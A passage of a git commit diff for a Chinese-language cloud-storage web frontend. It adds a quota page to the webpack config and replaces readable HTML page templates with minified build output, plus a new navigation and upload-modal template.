This commit is contained in:
HFO4 2019-04-05 18:49:55 +08:00
parent d2d0e5ed4b
commit a07a9c362b
28 changed files with 1432 additions and 711 deletions

View File

@ -120,6 +120,7 @@ module.exports = {
lock:'./src/pages/lock.js',
fileShare:'./src/pages/fileShare.js',
myShare:'./src/pages/myShare.js',
quota:'./src/pages/quota.js',
},
output: {
// The build folder.
@ -646,6 +647,24 @@ module.exports = {
minifyURLs: true,
},
}),
new HtmlWebpackPlugin({
inject: true,
filename:"home/quota.html",
chunks:['quota'],
template: "public/home/quota.html",
minify: {
removeComments: true,
collapseWhitespace: true,
removeRedundantAttributes: true,
useShortDoctype: true,
removeEmptyAttributes: true,
removeStyleLinkTypeAttributes: true,
keepClosingSlash: true,
minifyJS: true,
minifyCSS: true,
minifyURLs: true,
},
}),
// Inlines the webpack runtime script. This script is too small to warrant
// a network request.

View File

@ -1,44 +1,22 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<link rel="manifest" href="/manifest.json">
<title>离线下载管理- {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "离线下载",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>离线下载管理- {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "离线下载",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><script>!function(l){function e(e){for(var r,t,n=e[0],o=e[1],u=e[2],f=0,i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u||[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1;o<t.length;o++){var u=t[o];0!==p[u]&&(n=!1)}n&&(c.splice(r--,1),e=f(f.s=t[0]))}return e}var t={},p={20:0},c=[];function f(e){if(t[e])return t[e].exports;var r=t[e]={i:e,l:!1,exports:{}};return l[e].call(r.exports,r,r.exports,f),r.l=!0,r.exports}f.m=l,f.c=t,f.d=function(e,r,t){f.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},f.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},f.t=function(r,e){if(1&e&&(r=f(r)),8&e)return r;if(4&e&&"object"==typeof r&&r&&r.__esModule)return r;var t=Object.create(null);if(f.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:r}),2&e&&"string"!=typeof r)for(var n in r)f.d(t,n,function(e){return r[e]}.bind(null,n));return t},f.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return f.d(r,"a",r),r},f.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},f.p="/";var r=window.webpackJsonp=window.webpackJsonp||[],n=r.push.bind(r);r.push=e,r=r.slice();for(var o=0;o<r.length;o++)e(r[o]);var s=n;a()}([])</script><script src="/static/js/0.chunk.js"></script><script src="/static/js/2.chunk.js"></script><script src="/static/js/download.chunk.js"></script></body></html>

View File

@ -1,94 +1,44 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>我的文件 - {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = true;
pageId="";
isSharePage = false;
uploadConfig = {
saveType: "{$policyData.policy_type}",
maxSize: "{$policyData.max_size}mb",
allowedType: [{$extLimit}],
allowSource: "{$policyData.origin_link}",
upUrl: "{$policyData.server}",
allowShare: "{$groupData.allow_share}",
allowRemoteDownload: "{:explode(",",$groupData.aria2)[0]}",
allowTorrentDownload: "{:explode(",",$groupData.aria2)[1]}",
};
apiURL = {
imgThumb: "/File/Thumb",
preview: "/File/Preview",
download: "/File/Download",
docPreiview: '/File/DocPreview',
listFile:"/File/ListFile"
};
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
pathCache = {};
path = "{$path}";
mediaType = {},
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
<script src="http://192.168.123.19:3000/static/js/runtime~index.bundle.js"></script>
<script src="http://192.168.123.19:3000/static/js/0.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/2.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/3.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/4.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/5.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/6.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/9.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/1.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/8.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/12.chunk.js"></script>
<script src="http://192.168.123.19:3000/static/js/index.chunk.js"></script>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>我的文件 - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = true;
pageId="";
isSharePage = false;
uploadConfig = {
saveType: "{$policyData.policy_type}",
maxSize: "{$policyData.max_size}mb",
allowedType: [{$extLimit}],
allowSource: "{$policyData.origin_link}",
upUrl: "{$policyData.server}",
allowShare: "{$groupData.allow_share}",
allowRemoteDownload: "{:explode(",",$groupData.aria2)[0]}",
allowTorrentDownload: "{:explode(",",$groupData.aria2)[1]}",
};
if(uploadConfig.saveType == "oss" || uploadConfig.saveType == "upyun" || uploadConfig.saveType == "s3"){
ChunkSize = "0";
}else if(uploadConfig.saveType == "qiniu" ){
ChunkSize = 4*1024*1024;
}else{
ChunkSize = {$chunkSize};
}
apiURL = {
imgThumb: "/File/Thumb",
preview: "/File/Preview",
download: "/File/Download",
docPreiview: '/File/DocPreview',
listFile:"/File/ListFile"
};
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
pathCache = {};
path = "{$path}";
mediaType = {},
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -0,0 +1,161 @@
<nav class="navbar navbar-inverse" >
<div class="container-fluid">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<a class="navbar-brand" href="/">
</a>
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav navbar-right">
<li class="dropdown">
<a href="#" class="dropdown-toggle avatar-a" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"><img src="/Member/Avatar/{$userInfo.uid}/s" class="img-circle avatar-s"> {$userInfo.userNick} <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="/Profile/{$userInfo.uid}">个人主页</a></li>
<li><a href="/Member/Setting">设置</a></li>
<li><a href="/Home/BuyGroup">升级用户组</a></li>
{eq name="$userInfo.groupId" value="1"}
<li><a href="/Admin">管理面板</a></li>
{/eq}
<li role="separator" class="divider"></li>
<li><a href="/Member/LogOut">退出登录</a></li>
</ul>
</li>
<li class="mobile-addition">
<a href="/Share/My" role="button" aria-haspopup="true" ><i class="fa fa-share-alt" aria-hidden="true"></i> 我的分享</a>
</li>
<li class="mobile-addition">
<a href="/Explore/Search" role="button" aria-haspopup="true" ><i class="fa fa-search" aria-hidden="true"></i> 搜索分享</a>
</li>
<li class="mobile-addition">
<a href="/Home/Album" role="button" aria-haspopup="true" ><i class="fa fa-picture-o" aria-hidden="true"></i> 图片集</a>
</li>
</ul>
</div><!-- /.navbar-collapse -->
</div><!-- /.container-fluid -->
</nav>
<!-- Modal -->
<div class="modal fade" id="upload_modal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" onclick = "closeUpload()" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
<span class="sr-only">Close</span>
</button>
<h4 class="modal-title" id="myModalLabel">上传文件</h4>
</div>
<div class="modal-body">
<div class="row" style="margin-top: 20px;">
<input type="hidden" id="domain" value="http://7xocov.com1.z0.glb.clouddn.com/">
<input type="hidden" id="uptoken_url" value="uptoken">
<div class="up_button col-md-4">
<div id="container">
<button class="btn btn-raised btn-info btn-lg upload_button" id="pickfiles" >
<i class="glyphicon glyphicon-plus"></i>
<span id="up_text"></span>
</button>
</div>
</div>
<div style="display:none" id="success" class="indo col-md-8">
<div class="alert alert-success">
队列全部文件处理完毕
</div>
</div>
<div class="col-md-12 " align="center">
<div class="info_box" id="info_box">
<br>
<div class="drag_info">
<span class="info_icon"><i class="glyphicon glyphicon-inbox"></i></span>
<div class="info_text">拖动文件至此开始上传</div>
</div>
</div>
<div class="upload_box" style="display:none;" id="upload_box">
<table class="table table-striped table-hover text-left" style="display:none;">
<thead>
<tr>
<th class="col-md-4">文件名</th>
<th class="col-md-2">大小</th>
<th class="col-md-6">进度</th>
</tr>
</thead>
<tbody id="fsUploadProgress">
</tbody>
</table>
</div>
</div>
<div class="container" style="display: none;">
<div class="body">
</div>
</div>
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
</div>
<img onload="main(this)" src="/static/img/sign.png" style="display: none" />
<div class="col-md-2 s" id="side">
<div class="list-group" id="b">
<a href="/Home" class="list-group-item">
<i class="fa fa-file" aria-hidden="true"></i>&nbsp;&nbsp;&nbsp; 我的文件
</a>
<a href="/Share/My" class="list-group-item"> <i class="fa fa-share-alt" aria-hidden="true"></i>&nbsp;&nbsp;&nbsp; 我的分享
</a>
<a href="/Home/Quota" class="list-group-item"><i class="fa fa-database" aria-hidden="true"></i>&nbsp;&nbsp;&nbsp; 容量配额
</a>
<a href="/Explore/Search" class="list-group-item">
<i class="fa fa-search" aria-hidden="true"></i>&nbsp;&nbsp;&nbsp; 搜索分享
</a>
<a href="/Home/Album" class="list-group-item">
<i class="fa fa-picture-o" aria-hidden="true"></i>&nbsp;&nbsp;&nbsp; 图片集
</a>
{eq name=':(explode(",",$groupData.aria2)[0] OR explode(",",$groupData.aria2)[1])' value="1"}
<a href="/Home/Download" class="list-group-item">
<i class="fa fa-cloud-download" aria-hidden="true"></i>&nbsp;&nbsp;&nbsp; 离线下载
</a>
{/eq}
</div>
<div clss="usage" style=" visibility: visible;
position: absolute;
width: 100%;
height: 100px;
top: auto;
bottom: 0px;
background-color: #f9f9f9;padding: 15px">
<div class="usage-title">容量使用:</div>
<div class="usage-bar">
<div class="progress progress-striped active">
<div class="progress-bar" id="memory_bar"></div>
</div>
</div>
<div class="usage-text"><span id="used">--</span>/<span id="total">--</span></div>
</div>
</div>

View File

@ -1,44 +1,26 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<link rel="manifest" href="/manifest.json">
<title>离线下载管理- {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "离线下载",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>{$title} - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
list={$list};
pack_data={$options.pack_data};
group_data={$options.group_sell_data};
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -1,65 +1,44 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<link rel="manifest" href="/manifest.json">
<title>我的文件 - {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = true;
pageId="";
isSharePage = false;
uploadConfig = {
saveType: "{$policyData.policy_type}",
maxSize: "{$policyData.max_size}mb",
allowedType: [{$extLimit}],
allowSource: "{$policyData.origin_link}",
upUrl: "{$policyData.server}",
allowShare: "{$groupData.allow_share}",
allowRemoteDownload: "{:explode(",",$groupData.aria2)[0]}",
allowTorrentDownload: "{:explode(",",$groupData.aria2)[1]}",
};
if(uploadConfig.saveType == "oss" || uploadConfig.saveType == "upyun" || uploadConfig.saveType == "s3"){
ChunkSize = "0";
}else if(uploadConfig.saveType == "qiniu" ){
ChunkSize = 4*1024*1024;
}else{
ChunkSize = {$chunkSize};
}
apiURL = {
imgThumb: "/File/Thumb",
preview: "/File/Preview",
download: "/File/Download",
docPreiview: '/File/DocPreview',
listFile:"/File/ListFile"
};
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
pathCache = {};
path = "{$path}";
mediaType = {},
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>我的文件 - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = true;
pageId="";
isSharePage = false;
uploadConfig = {
saveType: "{$policyData.policy_type}",
maxSize: "{$policyData.max_size}mb",
allowedType: [{$extLimit}],
allowSource: "{$policyData.origin_link}",
upUrl: "{$policyData.server}",
allowShare: "{$groupData.allow_share}",
allowRemoteDownload: "{:explode(",",$groupData.aria2)[0]}",
allowTorrentDownload: "{:explode(",",$groupData.aria2)[1]}",
};
if(uploadConfig.saveType == "oss" || uploadConfig.saveType == "upyun" || uploadConfig.saveType == "s3"){
ChunkSize = "0";
}else if(uploadConfig.saveType == "qiniu" ){
ChunkSize = 4*1024*1024;
}else{
ChunkSize = {$chunkSize};
}
apiURL = {
imgThumb: "/File/Thumb",
preview: "/File/Preview",
download: "/File/Download",
docPreiview: '/File/DocPreview',
listFile:"/File/ListFile"
};
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
pathCache = {};
path = "{$path}";
mediaType = {},
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -1,69 +1,25 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>{eq name="pageId" value="resetPwdForm"}找回密码{/eq}{eq name="pageId" value="resetPwd"}找回密码{/eq}{eq name="pageId" value="emailActivate"}激活成功{/eq}{eq name="pageId" value="login"}登录{/eq}{eq name="pageId" value="register"}注册{/eq}{eq name="pageId" value="TwoStep"}二步验证{/eq} - {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
captcha = "{$RegOptions.login_captcha}";
regCaptcha = "{$RegOptions.reg_captcha}";
findPwdCaptcha = "{$RegOptions.forget_captcha}";
{if isset($key)}
resetKey = '{$key}';
{/if}
pageId="{$pageId}";
userInfo = {
uid: -1,
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>{eq name="pageId" value="resetPwdForm"}找回密码{/eq}{eq name="pageId" value="resetPwd"}找回密码{/eq}{eq name="pageId" value="emailActivate"}激活成功{/eq}{eq name="pageId" value="login"}登录{/eq}{eq name="pageId" value="register"}注册{/eq}{eq name="pageId" value="TwoStep"}二步验证{/eq} - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
captcha = "{$RegOptions.login_captcha}";
regCaptcha = "{$RegOptions.reg_captcha}";
findPwdCaptcha = "{$RegOptions.forget_captcha}";
qqLogin = "{$RegOptions.qq_login}";
{if isset($key)}
resetKey = '{$key}';
{/if}
pageId="{$pageId}";
userInfo = {
uid: -1,
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -1,54 +1,33 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<link rel="manifest" href="/manifest.json">
<title>用户设置- {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
colorThemeOptions = {$options["themes"]};
isHomePage = false;
isSharePage = false;
pageId="userSetting";
siteUrl = "{$options.siteURL}";
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
regTime: "{$userSQL.user_date}",
homePage: "{$userSQL.profile}",
twoFactor: "{$userSQL.two_step}",
webdav:"{$userInfo.groupData.webdav}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>用户设置- {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
colorThemeOptions = {$options["themes"]};
isHomePage = false;
isSharePage = false;
pageId="userSetting";
siteUrl = "{$options.siteURL}";
userInfo = {
uid: {$userInfo.uid},
nick: "{$userInfo.userNick}",
email: "{$userInfo.userMail}",
group: "{$userInfo.groupData.group_name}",
groupId: {$userInfo.groupData.id},
groupColor: "{$userInfo.groupData.color}",
regTime: "{$userSQL.user_date}",
homePage: "{$userSQL.profile}",
twoFactor: "{$userSQL.two_step}",
webdav:"{$userInfo.groupData.webdav}",
expired:{$userSQL.delay_time}-{:time()},
policy:"{$policy.policy_name}",
policyOption:{$policyOption},
qqBind:{$qqBind},
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -1,93 +1,48 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>{$dirData.folder_name} - {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = true;
pageId="";
apiURL = {
imgThumb: "/Share/Thumb/{$shareData.share_key}",
preview: "/Share/Preview/{$shareData.share_key}",
download: "/Share/Download/{$shareData.share_key}",
docPreiview: '/Share/DocPreview/{$shareData.share_key}',
listFile:'/Share/ListFile/{$shareData.share_key}'
};
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$dirData.folder_name}",
};
path = "{$path}";
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
shareInfo={
shareDate : "{$shareData.share_time}",
ownerUid:"{$userInfo.id}",
ownerNick:"{$userInfo.user_nick}",
downloadNum:"{$shareData.download_num}",
ViewNum:"{$shareData.view_num}",
shareId:"{$shareData.share_key}",
dirName:"{$dirData.folder_name}",
groupName:"{$groupData.group_name}",
color:"{$groupData.color}",
{eq name="$loginStatus" value="1"}
allowPreview:true,
{else/}
allowPreview:{$allowPreview},
{/eq}
};
mediaType = {},
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>{$dirData.folder_name} - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = true;
pageId="";
apiURL = {
imgThumb: "/Share/Thumb/{$shareData.share_key}",
preview: "/Share/Preview/{$shareData.share_key}",
download: "/Share/Download/{$shareData.share_key}",
docPreiview: '/Share/DocPreview/{$shareData.share_key}',
listFile:'/Share/ListFile/{$shareData.share_key}'
};
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$dirData.folder_name}",
};
path = "{$path}";
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
shareInfo={
shareDate : "{$shareData.share_time}",
ownerUid:"{$userInfo.id}",
ownerNick:"{$userInfo.user_nick}",
downloadNum:"{$shareData.download_num}",
ViewNum:"{$shareData.view_num}",
shareId:"{$shareData.share_key}",
dirName:"{$dirData.folder_name}",
groupName:"{$groupData.group_name}",
color:"{$groupData.color}",
{eq name="$loginStatus" value="1"}
allowPreview:true,
{else/}
allowPreview:{$allowPreview},
{/eq}
};
mediaType = {},
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -1,68 +1,22 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
